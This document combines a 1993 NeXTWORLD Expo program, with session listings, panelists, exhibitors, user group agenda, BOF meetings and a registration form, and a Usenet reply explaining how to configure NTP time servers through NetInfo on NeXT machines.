provided by the Application Kit. This session describes the salient features of the Indexing Kit, including transaction-protected storage, building dictionaries and indexes with BTrees, and building flat-file databases that store Objective-C objects. ** DRIVERKIT FOR NEXTSTEP FOR INTEL PROCESSORS ** Flip Dibner, Developer Support Engineer, NeXT 11:30am - 12:30pm, Thursday, May 27 Developer Conference Room 130 A detailed presentation of device driver architecture under NEXTSTEP for Intel Processors. The session includes review of several DriverKit classes, design considerations, comparison with traditional Unix (tm) drivers, and Q & A. Previous knowledge of NEXTSTEP and Unix drivers will be valuable. _____________________________________________________________________ => NeXTWORLD EXPO USER CONFERENCE TRACKS & SESSIONS May 25 - 27, 1993 ** TRACK ONE ** THEME: ENTERPRISE COMPUTING The first stage of desktop computing in corporations was all about enhancing individual and departmental productivity. NEXTSTEP takes corporations to the second stage by advancing the mission of the enterprise. This conference track explores the issues in enterprise computing such as client/server architecture, rightsizing, operational productivity, custom application development, and heterogeneous networking. In every area, NEXTSTEP offers great opportunity for the next stage of corporate computing. TRACK ONE SESSIONS: ** WHY OBJECT-ORIENTED PROGRAMMING and NEXTSTEP ** Panel: Ted Shelton, IT Solutions Paul Murphy Mike Mahoney, CS Dept. Chair, Cal State University, Long Beach 2:00PM - 3:00PM, Tuesday, May 25 User Conference Room 120 & 121 NEXTSTEP achieves its full power when applied in enterprise-wide systems for client/server functions. Discover how object-oriented programming techniques and client/server computing can bring immediate tangible benefits to organizations. ** RIGHTSIZING WITH NEXTSTEP ** Panel: Vidas Neverauskas, NeXT Computer Tom McLellan, Pencom Software Pete Farkas, Logicon Ultrasystems Roger Coates, Pan Canadian Petroleum Limited 12:45PM - 1:45PM, Tuesday, May 25 User Conference Room 120 & 121 and (repeat) Vidas Neverauskas, NeXT Computer Marc Elvy, Marble Associates, Inc. Pete Farkas, Logicon Ultrasystems Roger Coates, Pan Canadian Petroleum Limited 12:00PM - 1:00PM, Wednesday, May 26 User Conference Room 120 & 121 As businesses downsize monolithic mainframe applications to distributed client/server systems, they need object-oriented development tools that play in a standard networking environment. NEXTSTEP is an important piece of the rightsizing puzzle for corporate re-engineers. ** ENGINEERING CLIENT/SERVER SYSTEMS ** Panel: Brain Hobbs, Pencom Software Mike Adelson, Chrysler Financial Vimal Chowdury, Mt Clemens Hospital 4:30PM - 5:30PM, Tuesday, May 25 User Conference Room 120 & 121 Talk of rightsizing is cheap. NEXTSTEP gets you started today. This panel of customers, integrators, and system engineers explores the nitty-gritty technical issues of using NEXTSTEP in a client/server architecture. ** DEVELOPING AND DEPLOYING CLIENT/SERVER CUSTOM APPLICATIONS ** Panel: Tim Griswold, Servare Business Systems Grant Hayashi, Trident Data Systems David Holtzman, Booz Allen & Hamilton 11:30AM - 12:30PM, Tuesday, May 25 User Conference Room 120 & 121 and (repeat) Tim Griswold, Servare Business Systems Grant Hayashi, Trident Data Systems David Holtzman, Booz Allen & Hamilton 10:15AM - 11:15AM, Thursday, May 27 User Conference Room 120 & 121 NEXTSTEP's object-oriented development environment lets you bring new systems on-line in a fraction of the time needed with competitive products. That calls for a new approach to planning and implementing client/server custom applications. ** HOW NEXTSTEP FITS INTO YOUR HETEROGENEOUS CORPORATE NETWORK ** Panel: Katherine Jones, Data General Corp. Bill Young, Trident Data Systems Ray Bloom, Marble Associates, Inc. John Devitofaranceschi, Swiss Bank Corp. 1:15PM - 2:15PM, Wednesday, May 26 User Conference Room 120 & 121 Virtually every enterprise today maintains a mixed environment of computer platforms and networks. NEXTSTEP's support of multiple networking standards allows users to easily mix and match computers with their existing information systems. ** CONNECTING THE ENTERPRISE: WANs, LANs. and ISDN ** Panel: Frank Ricotta, moderator Pierre Durand , NeXT Computer, Inc. Steve Benton, Trident Data Systems Bill Young, Trident Data Systems Mark Dadgar, William Morris Agency 2:30PM - 3:30PM, Wednesday, May 26 User Conference Room 120 & 121 As business goes global, it isn't enough to interoperate in local networks at individual user sites. Here's how NEXTSTEP systems communicate with other computers in a world-wide distributed computing environment. ** MANAGING APPLICATION DEVELOPMENT PROJECTS ** Panel: Charles Oei, NeXT - moderator Kris Oosting, Objective Partners Scott Abel, Pencom Software Nicholas Christopher, Systemhouse 3:45PM - 4:45PM, Wednesday, May 26 User Conference Room 120 & 121 As NEXTSTEP speeds up the application development cycle, managers face new challenges in strategic and tactical planning. Here's what to expect in budgeting, staffing, managing, and phasing in your custom application projects. ** ISSUES IN SYSTEM ADMINISTRATION ** Panel: Simson Garfinkel, NeXTWORLD Timothy Reed, Black Market Technologies Anil Prasad, Wiltel Advanced Technology Group Alan Marcum, NeXT 11:30AM - 12:30PM, Thursday, May 27 User Conference Room 120 & 121 As NEXTSTEP proliferates in enterprise-wide information systems, the issues of network management and security become increasingly critical. System administrators explore the tools and techniques available for maintaining and securing corporate networks. ** TRACK TWO ** THEME: USING NEXTSTEP NEXTSTEP provides a user environment unlike any other operating system. To get maximum benefit from their systems, users need to know the intricacies of NEXTSTEP and third-party products. This track begins with critical information about running NEXTSTEP for Intel processors, and examines hot topics like portable computing, NEXTSTEP publishing, database management, and collaborative applications. Users can get hands-on help by attending sessions on NEXTSTEP tips and tricks, configuring systems for maximum power, and sources of training and support. TRACK TWO SESSIONS: ** INTRODUCTION TO NEXTSTEP for INTEL PROCESSORS ** Speaker: Jim Mynatt, NeXT 11:30AM - 12:30PM, Tuesday, May 25 User Conference Room 123 &124 NeXT's software guru's take you on a tour of the leading object-oriented operating system for mainstream business computers. ** INTRODUCTION FOR INTEL PROCESSORS: Q&A ** -OR- ** NEXTSTEP PC: Issues and Answers ** Speaker: Bob Lawton, NeXT 12:45PM - 1:45PM, Tuesday, May 25 User Conference Room 123 & 124 and (repeat) Speaker: Bob Lawton, NeXT 12:00PM - 1:00PM, Wednesday, May 26 User Conference Room 123 & 124 NeXT and NEXTSTEP hardware partners answer questions on software deliverables. ** MANAGING DOCUMENTS ** Panel: Gregory Miller - Moderator, Inherent Software Jay Kilby Sam Van Vactor, Insight Software 11:30AM - 12:30PM, Thursday, May 27 User Conference Room 123 & 124 Whatever happened to the paperless office? It's alive and well in law firms and medical organization employing NEXTSTEP software for document storage and retrieval. ** READ ALL ABOUT IT: PUBLISHING WITH NEXTSTEP ** Panel: Rick Reynolds, Publish Magazine - Moderator John Budacovich, Data Place Computer Mark Astman, Linotype-Hell Lauren Flanagan, GoldLeaf 4:30PM - 5:30PM, Tuesday, May 25 User Conference Room 123 & 124 NEXTSTEP's unified imaging model, powerful software tools, and workgroup connectivity are ideally suited for graphic design and electronic publishing. Experts explore the available tools for NEXTSTEP publishing, while early adopters describe their experiences. ** MANAGING YOUR DATA ** Panel: Dan Kehoe - Moderator, NeXTWORLD Rober Dyas, IP Design Alex Cone, Objective Technologies 2:00PM - 3:00PM, Tuesday, May 25 User Conference Room 123 & 124 Database management isn't a task only for programmers and system designers. Here's everything you need to know as a user for specifying and designing database front ends, as well as for managing your individual records. ** TBA SESSION ** 3:15PM - 4:15PM, Tuesday, May 25 User Conference Room 123 & 124 ** NEXTSTEP TIPS and TRICKS ** Panel: Lee Sherman - Moderator, NeXTWORLD Joe Barello, NeXTWORLD User Group Panelist User Group Panelist NEXTSTEP is so rich in capabilities that many users only scratch its surface. To get maximum benefit from NEXTSTEP, you need to know the shortcuts and hidden features available in the system. Power users show you how. ** CONNECTING TO THE WORLD ** Panel: Timothy Reed - Moderator Jim Opfer, RadioMail 3:45PM - 4:45PM, Wednesday, May 26 User Conference Room 123 & 124 There is a wealth of information, free software, and just plain camaraderie available to NEXTSTEP users through the Internet and other information services. This session tells you how and where to plug in to the wonderful world of NEXTSTEP online. ** SUPPORT, SERVICE, AND TRAINING ** Panel: Jan Tyler - Moderator, NeXT Scott Abel, Pencom Software Vince Jordan, Systemhouse Tim Purkis, Bell Atlantic 2:30PM - 3:30PM, Wednesday, May 26 User Conference Room 123 & 124 Get together with NeXT and NeXT training and service provider partners to hear about the new offerings in the area of support, service and training. ** WORKING TOGETHER WITH COLLABORATIVE SOFTWARE ** Panel: Stephan Adams - Moderator, Adamation Eric Wespestad, Swiss Bank Corporation Peter Park, Pangea Corporation 1:15PM - 2:15PM, Wednesday, May 26 User Conference Room 123 & 124 Groupware is a computer-industry buzzword that is much discussed and little practiced. In the NEXTSTEP environment, users are taking advantage of applications designed for collaborative work. This panel reviews the available products and illustrates the power of workgroup computing. ** PORTABILITY AND NOTEBOOKS: ISSUES AND ANSWERS ** Panel: John Barlow - Moderator, NeXTWORLD Bob Lawton, NeXT 10:15AM - 11:15AM, Thursday, May 27 User Conference Room 123 & 124 Customers are interested in NEXTSTEP portable computing. But 486 notebooks are not the only option for users who need to take their data on the road. This session looks at strategies for extending your desktop environment to wherever you happen to be. ** TRACK THREE ** THEME: IN THE TRENCHES Customers in business, education, and government have taken great strides in applying NEXTSTEP to solving problems in their fundamental advantages for unifying the desktop, collaborative computing, document management, decision support, and application development. In this track, speakers representing customers in NeXT's key markets share their experiences. TRACK THREE SESSIONS: ** UNIFYING THE DESKTOP ** Panel: Jeff Kvam - Moderator, Swiss Bank Corporation Gregory Miller, Inherent Solutions 11:30AM - 12:30PM, Tuesday, May 25 User Conference Room 122 The goal is no longer to have a computer on every desk, but to have only one computer on every desk. Users in financial services, law enforcement, and hospital administration describe how NEXTSTEP replaced diverse systems in a single workstation. ** END OF THE PARADOX: OPERATIONAL PRODUCTIVITY ** Panel: Sara Benson, NeXT Jeff Kvam, Swiss Bank Corporation John Schaffer, Brigham and Womens Hospital Jeff Rueben, University of Texas 12:45PM - 1:45PM, Tuesday, May 25 User Conference Room 122 NEXTSTEP solves the enduring paradox of the information age: Organizations' investment in technology has not resulted in measurable productivity gains. NEXTSTEP changes the equation by focusing on operational productivity. ** ENTERPRISE WIDE DATA ACCESS ** Panel: Felix Lin - Moderator, NeXT Alex Henry, William Morris Agency Bill Dudney, Pencom Software Mark Richards, Alain Pinel 2:00PM - 3:00PM, Tuesday, May 25 User Conference Room 122 ** ROLLUPS AND DRILLDOWNS: EXECUTIVE INFORMATION SYSTEMS ** Panel: Mark Thompsen, TRW P.K. M'Pherson, Information Delivery Ltd 10:15AM - 11:15PM, Thursday, May 27 User Conference Room 122 NEXTSTEP is ideal for applications that deliver live summary data and graphics to executives for decision support. Corporate and government users show how they did it. ** SUPPORT FOR STANDARDS ** Panel: Kris Younger, NeXT Bill Young , Trident Data Systems Dan Pederson, USC - ISI Neil Goodrich, Trident Data Systems 3:45PM - 4:45PM, Wednesday, May 26 User Conference Room 122 ** CUSTOM APPLICATION DEVELOPMENT ** Panel: Dan McCeary, Integrity Solutions Gary Lynn, NeuroDimension Inc. Mike McFall, LOR/Geske Bock Associates Inc. Stephane Savard, Panon Telexpertise Inc. 2:30PM - 3:30PM, Wednesday, May 26 User Conference Room 122 ** WHY NEXTSTEP -- CUSTOMER PERSPECTIVES ** Panel: Kris Younger, NeXT - Moderator Larry Bookstaver, USC - ISI Jim Traegar, TASC 4:30PM - 5:30PM, Tuesday, May 25 User Conference Room 122 Choosing NEXTSTEP was once risky. This panel of NEXTSTEP customers in business, government, and education discuss their choice of NEXTSTEP systems and the payoff. ** SERVING YOUR CUSTOMERS ** Panel: John Trustman - Moderator, Fidelity Investments Randy Mosteller, Trident Data Systems Mike Adelson, Chrysler Financial 10:15AM - 11:15AM, Wednesday, May 26 User Conference Room 122 The greatest challenge in business today is providing timely and accurate service to customers. NEXTSTEP systems provide the informational framework for world-class customer service. Users from health care, financial services, and transportation show how they did it. ** ENTERPRISE TRANSFORMATION ** Panel: Dan Ruby - Moderator, NeXTWORLD Erique Rosado, Software Services & Solutions, Inc. Chris Cuilla, ITS Bernard D. Aboda, MailCom 1:15PM - 2:15PM, Wednesday, May 26 User Conference Room 122 Technological change does not occur in a vacuum. Sometimes, the technology used can lead to structural and cultural changes in an organization. Panelists from law enforcement, telecommunications, and the energy business explore the positive effects of NEXTSTEP technology on organizational hierarchies, decision making, and customer relations. ** TRAINING FOR SUCCESS ** Panel: Jan Tyler - Moderator, NeXT Eric Wanger Don Winn, PanCanadianPetroleum Limited 12:00PM - 1:00PM, Wednesday, May 26 User Conference Room 122 Training alternatives are critical to meeting the diverse needs of NEXTSTEP developers, users, and systems administrators. This panel includes representatives from NeXT's training consortium, NeXT instructors, and customers whose successes with NEXTSTEP have been accelerated by choosing the right training curriculum. ** CORPORATE IDENTITY ** Dan Ruby - Moderator, NeXTWORLD James Scouttar, Just Proportion Ltd. Victor Spindler, Pages Software 11:30AM - 12:30PM, Thursday, May 27 User Conference Room 122 ** TRACK FOUR ** THEME: HOT PRODUCTS The sizzle in the NEXTSTEP market is the varied software solutions offered in hotly contested application categories. In this track, developers demonstrate the best and newest tools for document creation, presentation, financial modeling, database management, business graphics, and software emulation. With this background, users will be better able to examine the strengths and weaknesses of the products shown on the exhibit floor. TRACK FOUR SESSIONS: ** DOCUMENT CREATION ** Panel: Rick Reynolds - Moderator, Publish Magazine Glenn Reid, RightBrain Software Bruce Webster, Pages WordPerfect Corp. 2:00PM - 3:00PM, Tuesday, May 25 User Conference Room 125 The leading applications for creating business documents square off. Their different approaches to page layout and design provide good choices for every kind of NEXTSTEP user. This session provides an excellent opportunity to view, evaluate, and discuss the wide array of page layout applications available for NEXTSTEP. ** PRODUCTIVITY, NEXTSTEP STYLE ** Panel: Dan Lavin - Moderator, NeXTWORLD Julie Saffren, NeXT Joe Barello , NeXTWORLD 2:00PM - 3:00PM, Tuesday, May 25 User Conference Room 125 In this session, developers discuss the feature and benefits of today's NEXTSTEP productivity applications and how they can be used most effectively. NEXTSTEP is home to innovative software products in virtually every productivity category. What's truly amazing is the way they all work together in an integrated user environment. ** INFORMATION MANAGERS ** Panel: Dan Ruby - Moderator, NeXTWORLD Scott Love, Millennium Andy Turk, Sarrus Karl Craft, Ensuing Technologies 3:45PM - 4:45PM, Wednesday, May 26 User Conference Room 125 The last year has seen an explosion of products for managing personal and group information. These tools have allowed NEXTSTEP users to move even closer towards the goal of a true paperless office. Learn about the calendar, address books, and free-form databases that are on the vanguard of workgroup computing on NEXTSTEP. ** BETTER PRESENTATIONS ** Panel: Lee Sherman - Moderator, NeXTWORLD Jonathan Schwartz, Lighthouse Design, Ltd. David Gregory, Imagine Rand Schulman , Pages Software 4:30PM - 5:30PM, Tuesday, May 25 User Conference Room 125 Making presentations is among the most frequent tasks in business. Creating presentations using NEXTSTEP and available third-party applications has proven to be both easy and impactful. Here we look at the options for improving your delivery with visually appealing slides and interactive media. ** EMULATION AND CONNECTIVITY ** Panel: Joe Barello - Moderator, NeXTWORLD Mark Munford, Insignia Cliff Mathews, Abacus Olivia Favela , IPT Scott Opitz, Conextions 10:45PM - 11:45PM, Wednesday, May 26 User Conference Room 125 NEXTSTEP is great, but sometimes you have to make concessions to the rest of the world. Whether you want to make your NEXTSTEP system behave like Windows, Macintosh, X, or a mainframe terminal, there is a third-party product for you. Developers in this session will review those products available in the future. ** GRAPHICS FOR BUSINESS ** Panel: Tony Bove, NeXTWORLD - Moderator Tony Renier, BlackSmith Andrew Stone, Stone Design Jonathan Schwartz, Lighthouse Design, Ltd. 12:00PM - 1:00PM, Wednesday, May 26 User Conference Room 125 Illustration tools are not just for artists. NEXTSTEP offers some of the best applications on any platform for creating business charts, diagrams, and drawings. Whether you're looking for applications in the area of free-hand drawing, product planning and flowcharts, or presentation enhancement, this session is for you. ** MULTIMEDIA AND 3D ** Panel: Lee Sherman - Moderator, NeXTWORLD Jesper Lundh, Xanthus Glen Worstell, Thoughtul Software 11:30AM - 12:30PM, Thursday, May 27 User Conference Room 125 NEXTSTEP has always been a leader in the area of multimedia. Learn how NEXTSTEP's inclusion of RenderMan technology, strong multimedia authoring systems and tools for sound and music have set the stage for an explosion of software for 3D rendering, animation, and multimedia. ** DOCUMENT MANAGEMENT ** Panel: David Spitzler, NeXT Peter Ripp, Boss Logic Sam Van Vactor, Insight Robert Thibadeau, Visus 11:30AM - 12:30PM, Thursday, May 27 User Conference Room 123 & 124 NEXTSTEP's combination of strengths for scanning character recognition, imaging, and collaborative computing make it an ideal platform for document storage and retrieval. Developers demonstrate their solutions for the potentially huge but largely underutilized workstation application. ** SPREADSHEET AND MODELERS ** Panel: Dave Grady - Moderator, NeXT David Pollack, Athena Design Michael Steele, Axsys Chip Goodman, WhiteLight 2:30PM - 3:30PM, Wednesday, May 26 User Conference Room 125 NEXTSTEP abounds in diverse solutions for financial modeling. Whether you need a traditional spreadsheet, multi-dimensional tool or sophisticated enterprise financial modeler, NEXTSTEP serves your needs with strong third-party products. Come see for yourself. ** GRAPHICS ARTS ** Panel: Rick Reynolds - Moderator, Publish Magazine Troy Whitsett, Altsys Lauren Flanagan, Goldleaf Randy Adams, Appsoft 10:15PM - 11:15PM, Thursday, May 27 User Conference Room 125 ** DATABASES ** Panel: Daniel Kehoe - Moderator, NeXTWORLD Bob Beth, Proponent Rober Dyas, IP Design Andrew Stone, Stone Design 1:15PM - 2:15PM, Wednesday, May 26 User Conference Room 125 ____________________________________________________________________ => NEXTSTEP PRODUCT EXHIBITION: PARTICIPATING COMPANIES May 25 - 27, 1993 Participating Companies: Abe Industry Artemis AEC Software ADAMATION Adobe Systems Inc. Alembic Systems International Ltd. Altsys Corporation Anderson Financial Systems ANDI Appsoft, Inc. Athena Design Axsys Bacchus, Inc. BenaTong BenchBuilt Software Co. benchMark Development, Inc. Black & White Software Blacksmith Blue Rose Systems Booz-Allen & Hamilton Canon Ciusa, Inc. Compaq Computer Corp. Conextions Cube Information Systems Cub'X Systems Data General Corp. Dell Computer Detective Tools Corp. Digital Compostition Systems, Inc. Distributed Processing Technology eCesys Epson Firstsoft, Inc. / DBSA. Inc. Goldleaf Publishing, Inc. Goldleaf Systems Harvard Tool Works Hewlett-Packard Company Highland Digital HSD Microcomputer Hypersight, Inc. i-link, GmbH Imagine Multimedia, Inc. Impact Multimedia, Inc. INSIGHT Software Insignia Solutions, Inc. Intel Corporation Jana Publishing Lighthouse Design, Ltd. Logicon Ultasystems Inc. LogicStream Memory International, Inc. Metrosoft Millennium Software Labs, Inc. MRJ, Inc. NEC Technologies Inc. Network Expressn Inc. NeXT, Inc. NeXTWORLD Magazine Northstar Technologies Inc. nPoint Objective Technologies, Inc. ONyX Systems, Inc. Pages Software, Inc. Paget Press Pangea Corporation PARABASE Pencom Perennial Software Pinnacle Research, Inc. Professional Software, Inc. RDR, Inc. Ridgeback Solutions RightBrain Software, Inc. SMC Sarrus Software, Inc. Schema Research Corp. Second Glance Software Sirius Solutions, Inc. Skylee Press SofDesign Software Ventures Step 2 Software, Inc. Stone Design Systemhouse Inc. (Object Technology Center) Systemix Software, Inc. TMS GmbH Tecor, Inc. Telos / Springer-Verlag Thoughtful Software Toshiba Trident Data Systems Trirex Systems Vertex Software Watershed Technologies Wolfram Research, Inc. WordPerfect Corporation Yrrid Incorporated ...and more ____________________________________________________________________ => NeXT USER GROUP PROGRAM AGENDA User Group Keynote Thursday, May 27 9:00 am - 11:00 am Steve Jobs: 486--An Explosion of Users Under NeXT's Big Tent Steve Jobs headlines this exciting kickoff to today's activities. The number of NEXTSTEP users in the world doubled last year. With the advent of NEXTSTEP for Intel processors, we anticipate a tremendous explosion of new users and user group members using both black and white hardware. How do we serve this dynamic new population and tap into their talents? Ideas for 1993 and beyond will be discussed. Also during this session, NeXT will present its "Golden Nugget Awards" for special contributions by user groups during the past year. ** USER GROUP PROGRAM: LEADERSHIP TRACK ** Thursday, May 27 11:00am - 12:00pm -Leadership and Organizing Ideas Panel chair: BANG (Bay Area NEXTSTEP User Group) 1:00pm - 2:00pm -Working with NeXT, 3rd Party Vendors, and Resellers Panel co-chairs: KYNUG (Kentucky NEXTSTEP User Group) PSNUG (Puget Sound NEXTSTEP User Group) 2:00pm - 3:00pm -Attracting and Keeping Volunteers and Officers Panel chair: UKNUG (United Kingdom NEXTSTEP User Group) 3:00pm - 4:00pm -Fundraising Panel chair: NoIR - NEXTSTEP Organization International ____________________________________________________________________ ** USER GROUP PROGRAM: MEMBERSHIP SERVICES TRACK ** Thursday, May 27 11:00am - 12:00pm -Training Panel co-chairs: SCaN (Southern California area NEXTSTEP User Group) hAng (Houston area NEXTSTEP User Group) Scott Weiner, NeXT Training department 1:00pm - 2:00pm -Planning and conducting a successful meeting Panel chair: BCS-NeXT (Boston Computer Society NEXTSTEP Group) 2:00pm - 3:00pm -Newsletters Panel chair: rmNUG (Rocky Mountain NEXTSTEP User Group) 3:00pm - 4:00pm -Getting your members on the worldwide net Panel co-chairs: GUN (Gotham Users of NEXTSTEP, New York City) Madison, Wisconsin NEXTSTEP User Group ____________________________________________________________________ => TUTORIALS AND BOF MEETINGS Hands-On NEXTSTEP Tutorials If you're new to NEXTSTEP, this is your chance to learn the basics...and if you're a seasoned developer, you can sign-up to spend some time with an expert on the subject of your choice. Extending from the show floor, the NEXTSTEP hands-on tutorial area sponsored by Dell Computer, provides instructions and mini-sessions for both end users and developers. User Tutorials are scheduled throughout the three days of the Expo to introduce new users to NEXTSTEP and to provide guidance on navigating the workspace, working with applications, and using NEXTSTEP features. Developer Tutorials provide two learning opportunities: hands-on instruction in "boot camp" issues as well as one-on-one time with a NeXT expert on specific development topics. Birds-of-a-Feather Meetings Developers can conduct a limited number of Birds-of-a-Feather get-togethers on Wednesday evening, May 26, 5:00 p.m. - 8:00 p.m. Room reservations are available on a first-come, first-served basis. Email BOF@NeXT.com to reserve a room for your special interest group. Please include your coordinator's name, an email address, and an abstract of the session. NeXTWORLD Expo Bof (Birds of a Feather) Schedule: Wednesday, May 26, 1993 5:00 - 6:00pm: Developer Conference Room 132 Guerrilla Marketing for NEXTSTEP Developers Organizer: Conrad Geiger, NeXT This BOF session will cover the tactics for reaching the NeXTSTEP users and potential NeXTSTEP users of NeXTSTEP and your product. Working with user groups, the press, resellers, and VARS/VADS will be the focus of this informal sharing of ideas. 6:00 - 8:00 pm: Developer Conference Room 130 Object Protocols for NEXTSTEP (OPN) Organization Organizer: Marcos J. Polanco, The Research Libraries Group The premise of the organization is that while NeXTstep offers the underlying technologies of a fully object-oriented operating system, the benefits of object orientation will not be fully realized until standards emerge for interobject communication. The standards are at the application level (OPNAddressBook, OPNCalendar, OPNMail, OPNSpreadsheet, OPNGraph, OPNDevelopmentTools) and are vendor independent, thus guaranteeing an open market for implementations. We will discuss the charter for the organization. 6:00 - 7:00 pm: Developer Conference Room 131 Sound, Music and DSP standards for NeXTSTEP/Intel Organizer: Michael McNabb, Software Consulting The original NeXT computers were embraced by a large community of computer music and digital audio artists, researchers, and developers. The machine's greatest appeal was that it provided a common platform with a powerful minimum set of standard hardware and software features, allowing a much greater exchange of work and ideas than in the past. NeXT's move to Intel hardware presents a great challenge to this community. PC audio and music hardware standards do not really exist, and NeXT itself will only be supporting a reduced set of software standards. The community must now define its own set of standards and supported hardware in order to preserve existing capabilities, encourage development, and maintain interchangeability. This session will include brief presentations from various perspectives by members of the NeXT audio and DSP community, and a face to face discussion of these issues. 6:00 - 7:00 pm: Developer Conference Room 132 NeXT Means Business: How Can Developers Sell More? Organizer: Peggy Thompson, Paget Press How can developers better reach the customer bases looking for NeXT products? How can we work together more efficiently? Developers can share success stories on how to get visibility for their products. 6:00 - 7:00 pm: Developer Conference Room 133 IndexingKit SIG Organizer: Jack Greenfield, NeXT Have you built an interesting data structure with IXBTree? Are you wondering how to store a graph of objects in IXRecordManager? The Indexing Kit BOF will provide an informal setting for the exchange of tips and tidbits relating to the Indexing Kit. IXKit developers from around the NeXT community will be in attendance, and IXKit author Jack Greenfield will be on hand to share techniques, and to answer your questions. Developers familiar with IXKit are encouraged to come and share their experiences. Developers thinking about using IXKit are encouraged to come and learn how the IXKit can help them with their application. 6:00 - 7:00 pm: Developer Conference Room 120 Virtuoso SIG Organizer: Troy Whitsett, Altsys The session will feature a few advanced guest designers to lead in a discussion of the different solutions that Virtuoso provides to NeXTSTEP users. Each designer will discuss a different solution for Virtuoso and NeXTSTEP, including: Business graphics - presentations, corporate identity pieces, business cards, annual reports, etc.; Graphic design - creating infographics, logos, special effects, product packaging, posters, etc.; Page layout - Working with text, bringing files together into large documents, creating newsletters, brochures, etc. This will be an open discussion for users to openly discuss and share information and techniques for using Virtuoso in their work. It will also enable potential and advanced users of Virtuoso to learn new tips and tricks. Door prizes will be awarded as well. 6:00 - 7:00 pm: Developer Conference Room 122 NeXT in Law Organizer: Gregory Miller, Inherent Technologies, Inc. This is the annual meeting for the NeXT-in-Law User Group, JuriNUG. While JuriNUG convenes at other American Bar Association functions, this meeting is a chance for anyone and everyone interested in the use of NEXTSEP in the legal profession to gather and exchange ideas, discuss issues, and learn about this rapidly developing vertical market. The meeting is open to anyone, not just legal professionals interested in learning about the legal computing market. If you have specific questions or have a particular item for an agenda, please contact Greg Miller at 503-224-6751 or gregory_miller@inherent.techlaw.com. 6:00 - 7:00 pm: Developer Conference Room 123 Custom Applications Developed with Objective DB Toolkit Organizer: Valerie Birk, Logibec The all new Objective DB Toolkit version 3 offers developers 4GL capability with a script language that puts the development of custom applications within the reach of any developer. The Toolkit also offers an extensive choice of field templates, the possibility to overlay views without the use of Objective C code. The Objective DB Toolkit development environment is built on top of NeXT's Database Kit which provides adaptors to Sybase and Oracle for fast development of mission critical client/server applications. 7:00 - 8:00 pm: Developer Conference Room 130 (OPN continued) Incrementally Creating Apps at Run-time (The Other Half of Interface Builder) Organizer: Charles L. Perkins Many early NeXTSTEP developers were excited by the promise of programming entirely within Interface Builder, creating a fully interpretive, rapid prototyping environment with loadable palettes of objects. Despite 3.0 additions, I.B. does not provide that environment. The "other half" of I.B. must provide glue to link arbitrary objects and NIB files together at run-time, and must allow a rich set of possible connections between them without constraining the meaning of those connections. If such a framework includes the ability to modify the currently running application's state, entire applications can be created at double-click time or even while they are running, in an incremental and amazingly flexible manor. One such framework will be presented, to stimulate discussion. 7:00 - 8:00 pm: Developer Conference Room 120 Color Management for NeXTSTEP Organizer: William Bonekemper, HERE, Inc. HERE's color management system benefits every NeXTSTEP user who needs to produce calibrated and controlled color output. This session will convey information and instruction concerning how the Color Management System works and how to use it with NeXT application software. This is accomplished through the use of live demonstrations on a large projection system where NeXT applications are utilizing HERE's Color Management System. ____________________________________________________________________ => REGISTRATION, HOTEL AND TRAVEL INFORMATION TO REGISTER FOR NeXTWORLD EXPO Mail completed form to: NeXTWORLD EXPO DCI 204 Andover Street Andover, MA 01810 -OR- Fax to: 508/470-0526 (24 hours a day) -OR- Call Toll-Free: 800/767-2336 (US only: 8:30a.m.- 6:00p.m. EST) -OR- International Registration: 508/470-3880 Please check all that apply: Developer Conference (#3032) ____ $695 ____ $745 (on-site) User Conference (#3033) ____ $195 ____ $245 (on-site) Exhibits Only (#3034) ____ $25 ____ $40 (on-site) User Group Program ____ FREE (Open to all attendees who register) SPECIAL PRICE FOR ALL CONFERENCES: Developer Conference Package (#3032N): Includes all conferences registration and a copy of NEXTSTEP for Intel processors User Environment and Development Tools for your 486 computer ____ $995 ____ $1095 (on-site) ____________________________________________________________________ REGISTRANT INFORMATION: Name: ______________________________ Company: __________________ Title: ______________________________ Division: __________________ Name: ______________________________ Street: ____________________ Title: ______________________________ City: ______________________ Name: ______________________________ State/ZIP: _________________ Title: ______________________________ Phone: _____________________ Fax: ______________________ Authorized Signature/Date: _________________________________________ Method of Payment _______ Check enclosed payable to NeXTWORLD EXPO _______ Visa _______ MasterCard Card number: ____________________________ Expiration date: ________________________ Cardholder Name: ________________________ _______ Bill my firm. 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From: dml@esl.com (Denis Lynch) Newsgroups: comp.sys.next.sysadmin Subject: Re: ntpd revisited Message-ID: <2077@esl.ESL.COM> Date: 4 May 93 17:26:03 GMT References: <1s2s24INN62@theborg.stack.urc.tue.nl> Sender: news@esl.ESL.COM In article <1s2s24INN62@theborg.stack.urc.tue.nl> annard@theborg.stack.urc.tue.nl (Annard Brouwer) writes: > Hello there, > > I was wondering how to make the NeXT understand that I want to use a > non-NetInfo host as a Master Time Server. I saw this question, and thought "gee that's dumb, just put the host name into the panel." But before I wrote some condescending reply, I decided to check on exactly how I had set up our configuration. Oops, it isn't as straightforward as you'd like, but you can do exactly what you want. First, forget about using Hostmanager to set up the configuration. Second, forget about putting the external hosts in NetInfo, unless you aren't running a DNS resolver. (If you aren't running a resolver, you will need to add the hosts to NetInfo, but all you need is their name and ip_address.) OK, now to set up what you want: use NetInfomanager. Open the '/' domain. You'll see a directory called "locations" -- click on that. If you've set up ntp at all, you'll see a subdirectory "ntp". If not, create one. Click on "ntp" and then double-click to open the Properties/Values panel. The locations/ntp directory needs: Property Value name ntp server one or more values, each one an ntp Master host one or more values, each one an ntp Clone The "correct" configuration is to have a couple of external machines serve as your masters, and a couple of local machines to be local servers. The host names are regular domain names, so local hosts get resolved through NetInfo and others through DNS. Just one caution: make sure the servers you pick are fairly good ones. The boot process uses "ntp -F" to set the machines clock. If the *first* server isn't available, this fails and the clock remains unset. This isn't normally a problem, but someday maybe I'll feel compelled to relate the sequence of events when we upgraded one of our clone servers with an '040 board whose clock was off by 35 minutes or so... (Why can't these machines keep even halfway decent time on their own????) Hope this helps, --Denis
